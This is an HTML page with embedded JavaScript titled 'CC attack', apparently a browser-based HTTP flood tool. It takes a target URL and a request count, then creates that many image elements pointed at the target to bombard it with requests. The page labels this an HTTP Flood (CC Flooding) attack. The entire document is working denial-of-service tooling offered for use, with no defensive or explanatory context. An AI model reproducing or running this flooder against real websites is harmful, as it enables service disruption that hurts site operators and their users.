<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CC</title>
<style>
  body {
    font-family: Arial, sans-serif;
    margin: 0;
    padding: 0;
    background-color: #f0f0f0;
  }
  .container {
    max-width: 600px;
    margin: 50px auto;
    padding: 20px;
    background-color: #fff;
    border-radius: 8px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  }
  h1 {
    text-align: center;
    margin-bottom: 20px;
  }
  input[type="text"],
  input[type="number"],
  button {
    display: block;
    width: 100%;
    margin-bottom: 15px;
    padding: 10px;
    font-size: 16px;
    border: 1px solid #ccc;
    border-radius: 4px;
    box-sizing: border-box;
  }
  button {
    background-color: #007bff;
    color: #fff;
    cursor: pointer;
  }
  button:hover {
    background-color: #0056b3;
  }
  #output {
    margin-top: 20px;
    padding: 10px;
    background-color: #f9f9f9;
    border: 1px solid #ccc;
    border-radius: 4px;
  }
</style>
</head>
<body>
<div class="container">
  <h1>CC attack</h1>
  <p>Please enter the target URL and number of requests:</p>
  <input type="text" id="target_url" placeholder="Target URL">
  <input type="number" id="num_requests" placeholder="Number of Requests">
  <button onclick="startAttack()">Start Attack</button>
  <div id="output"></div>
</div>

<script>
function startAttack() {
  var targetUrl = document.getElementById("target_url").value;
  var numRequests = document.getElementById("num_requests").value;

  if (targetUrl === "" || numRequests === "") {
    document.getElementById("output").innerHTML = "Please enter both target URL and number of requests.";
  } else {
    document.getElementById("output").innerHTML = "Starting HTTP Flood attack on " + targetUrl + "...<br>";

    for (var i = 0; i < numRequests; i++) {
      var img = new Image();
      img.src = targetUrl;
      document.body.appendChild(img);
    }

    document.getElementById("output").innerHTML += "HTTP Flood (CC Flooding Attack) attack completed.";
  }
}
</script>
</body>
</html>